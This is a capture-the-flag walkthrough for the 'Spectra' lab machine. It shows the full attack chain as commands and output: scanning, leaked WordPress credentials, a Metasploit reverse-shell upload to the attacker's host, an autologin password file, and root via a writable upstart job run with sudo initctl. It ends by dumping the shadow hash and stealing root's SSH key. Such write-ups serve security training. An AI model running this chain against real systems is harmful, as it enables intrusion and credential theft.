Recon
- Port scan:
$ nmap -p- 10.10.10.229 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql
- Targeted scan:
$ nmap -sC -sV -p 22,80,3306 10.10.10.229 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) | ssh-hostkey: |_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA) 80/tcp open http nginx 1.17.4 |_http-server-header: nginx/1.17.4 |_http-title: Site doesn't have a title (text/html). 3306/tcp open mysql MySQL (unauthorized) |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) |_sslv2: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
OpenSSH 8.1, nginx 1.17.4, MySQL
Enumeration
- Add vhost to
/etc/hosts
:10.10.10.229 spectra.htb
MySQL Enumeration
- Connecting to database with MySQL client:
$ mysql -h spectra.htb
ERROR 1130 (HY000): Host '10.10.14.103' is not allowed to connect to this MySQL server
- Looks like there is some sort of IP whitelist which blocked our connection, moving on...
HTTP Enumeration
- Website is an issue tracker under construction:
- First link is to the main branch at http://spectra.htb/main/index.php, while second link is to the staging branch at http://spectra.htb/testing/index.php.
- Webserver is running PHP 5.6.40, this could be useful for getting a reverse shell if we could upload arbitrary files to the server.
- Navigating to the first link "Software Issue Tracker" brings us to a WordPress site:
- Found WordPress login page:
- Comment feature seems to be vulnerable to XSS, but they require moderation before they can be displayed to other users:
- XML-RPC is active on http://spectra.htb/main/xmlrpc.php, sending a POST request with Burp Suite with the following method call:
<methodCall> <methodName> system.listMethods </methodName> <params> </params> </methodCall>
- We get the response:
Deprecated: Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always_populate_raw_post_data' to '-1' in php.ini and use the php://input stream instead. in Unknown on line 0 Warning: Cannot modify header information - headers already sent in Unknown on line 0 system.multicall system.listMethods system.getCapabilities demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks pingback.ping mt.publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.deletePost metaWeblog.newMediaObject metaWeblog.getCategories metaWeblog.getRecentPosts metaWeblog.getPost metaWeblog.editPost metaWeblog.newPost blogger.deletePost blogger.editPost blogger.newPost blogger.getRecentPosts blogger.getPost blogger.getUserInfo blogger.getUsersBlogs wp.restoreRevision wp.getRevisions wp.getPostTypes wp.getPostType wp.getPostFormats wp.getMediaLibrary wp.getMediaItem wp.getCommentStatusList wp.newComment wp.editComment wp.deleteComment wp.getComments wp.getComment wp.setOptions wp.getOptions wp.getPageTemplates wp.getPageStatusList wp.getPostStatusList wp.getCommentCount wp.deleteFile wp.uploadFile wp.suggestCategories wp.deleteCategory wp.newCategory wp.getTags wp.getCategories wp.getAuthors wp.getPageList wp.editPage wp.deletePage wp.newPage wp.getPages wp.getPage wp.editProfile wp.getProfile wp.getUsers wp.getUser wp.getTaxonomies wp.getTaxonomy wp.getTerms wp.getTerm wp.deleteTerm wp.editTerm wp.newTerm wp.getPosts wp.getPost wp.deletePost wp.editPost wp.newPost wp.getUsersBlogs
- Which doesn't seem to contain any useful function, moving on...
- We find the
wp-config.php.save
file in the/testing
staging branch, containing the database credentials:/** MySQL database username */ define( 'DB_USER', 'devtest' ); /** MySQL database password */ define( 'DB_PASSWORD', 'devteam01' );
- I wonder if they reused the same password for the WordPress administrator account... and of course they did:
- Found WordPress credentials:
administrator:devteam01
Exploitation
- Now that we can log in as the WordPress administrator, we can exploit the plugin upload feature with Metasploit module
exploit/unix/webapp/wp_admin_shell_upload
to get a shell:$ msfconsole
> use exploit/unix/webapp/wp_admin_shell_upload
- Configure the exploit parameters:
> set RHOSTS 10.10.10.229
> set USERNAME administrator
> set PASSWORD devteam01
> set LHOST 10.10.14.103
- Execute the payload, and we should get a meterpreter shell:
> run
[*] Started reverse TCP handler on 10.10.14.103:4444 [*] Authenticating with WordPress using administrator:devteam01... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /main/wp-content/plugins/KldVlQaCdp/KxOTdTXpFm.php... [*] Sending stage (39282 bytes) to 10.10.10.229 [*] Meterpreter session 2 opened (10.10.14.103:4444 -> 10.10.10.229:36144) at 2021-04-08 22:19:22 +0930 [+] Deleted KxOTdTXpFm.php [+] Deleted KldVlQaCdp.php [+] Deleted ../KldVlQaCdp
- Spawn a shell instance:
> shell
$ whoami && id
nginx uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
- Before going further, let's upgrade our shell. We can do so by spawning a TTY:
$ echo "import pty; pty.spawn('/bin/bash')" > /dev/shm/upgrade.py
$ python /dev/shm/upgrade.py
- Alternatively, we can also add our SSH public key in
authorized_keys
, and SSH in to get tab-completion and the ability to usescp
:$ "echo <id_rsa>" > ~/.ssh/authorized_keys
$ ssh [email protected] -i ~/.ssh/id_rsa
- Checking for other users in the
/home/
directory:$ ls -la /home/
drwxr-xr-x 8 root root 4096 Feb 2 15:55 . drwxr-xr-x 22 root root 4096 Feb 2 14:52 .. drwx------ 4 root root 4096 Jul 20 2020 .shadow drwxr-xr-x 20 chronos chronos 4096 Apr 7 21:32 chronos drwxr-xr-x 4 katie katie 4096 Feb 10 00:38 katie drwxr-xr-x 5 nginx nginx 4096 Apr 8 06:12 nginx drwxr-x--t 4 root root 4096 Jul 20 2020 root drwxr-xr-x 4 root root 4096 Jul 20 2020 user
- Found possible usernames:
chronos, katie, user
- While enumerating for files, we stumbled upon a ChromeOS autologin script in the
/opt/
directory:$ ls /opt/
-rw-r--r-- 1 root root 978 Feb 3 16:02 autologin.conf.orig
- Download the file with scp:
$ scp -i ~/.ssh/id_rsa [email protected]:/opt/autologin.conf.orig .
autologin.conf.orig
:# Copyright 2016 The Chromium OS Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. description "Automatic login at boot" author "[email protected]" # After boot-complete starts, the login prompt is visible and is accepting # input. start on started boot-complete script passwd= # Read password from file. The file may optionally end with a newline. for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do if [ -e "${dir}/passwd" ]; then passwd="$(cat "${dir}/passwd")" break fi done if [ -z "${passwd}" ]; then exit 0 fi # Inject keys into the login prompt. # # For this to work, you must have already created an account on the device. # Otherwise, no login prompt appears at boot and the injected keys do the # wrong thing. /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter end script
- In particular, this line stands out:
# Read password from file. The file may optionally end with a newline. for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
- Looking at the
/etc/autologin/
directory, we find apasswd
file:$ cat /etc/autologin/passwd
SummerHereWeCome!!
- Seeing as Katie is the only human user on the machine and other system accounts likely won't require autologin, let's try to SSH in as katie:
$ ssh [email protected]
- Successfully logged in as katie:
$ whoami && id
katie uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
- Get user flag!
Privilege Escalation
- Checking sudo privileges:
$ sudo -l
User katie may run the following commands on spectra: (ALL) SETENV: NOPASSWD: /sbin/initctl
- Katie can run
/sbin/initctl
with sudo privileges, which is an init daemon control tool used for interacting with upstart processes. - To demonstrate, we can get a list of all known jobs with the command:
$ sudo /sbin/initctl list
... syslog start/running, process 652 udev-trigger-early stop/waiting test3 stop/waiting dlm-suspend stop/waiting
- The upstart scripts can be found in the
/etc/init/
diredctory with a.conf
extension. - Finding scripts read and writable by katie:
$ find /etc/init/ -perm -660
./test6.conf ./test7.conf ./test3.conf ./test4.conf ./test.conf ./test8.conf ./test9.conf ./test10.conf ./test2.conf ./test5.conf ./test1.conf ./openssh-server.conf
- The test.conf scripts are all identical, looking at
test.conf
:description "Test node.js server" author "katie" start on filesystem or runlevel [2345] stop on shutdown script export HOME="/srv" echo $$ > /var/run/nodetest.pid exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js end script pre-start script echo "[`date`] Node Test Starting" >> /var/log/nodetest.log end script pre-stop script rm /var/run/nodetest.pid echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log end script
- We can add the following line within the script block, which will add our public key to the root's SSH
authorized_keys
file:echo "<id_rsa.pub>" > /root/.ssh/authorized_keys
- Start the job with sudo privileges:
$ sudo /sbin/initctl start test
- Using our matching private key, SSH in as root:
$ ssh [email protected] -i ~/.ssh/id_rsa
- And we're in as root!
$ whoami && id
root uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video),207(tss),208(pkcs11),219(wpa),253(preserve),1001(chronos-access)
- Get root flag!
Persistence
- Get root user's hash from
/etc/shadow
:root:$1$lchcuPsn$BgyskySIi0hFMF4/v7S53.:18661::::::
- Maintaining access by getting root's private SSH key from
/root/.ssh/id_rsa
:$ scp [email protected]:/root/.ssh/id_rsa .
- We also find the MySQL database credentials for the production branch in
/root/main/wp-config.php:
/** MySQL database username */ define( 'DB_USER', 'dev' ); /** MySQL database password */ define( 'DB_PASSWORD', 'development01' );
- Clean up after ourselves:
$ rm /dev/shm/upgrade.sh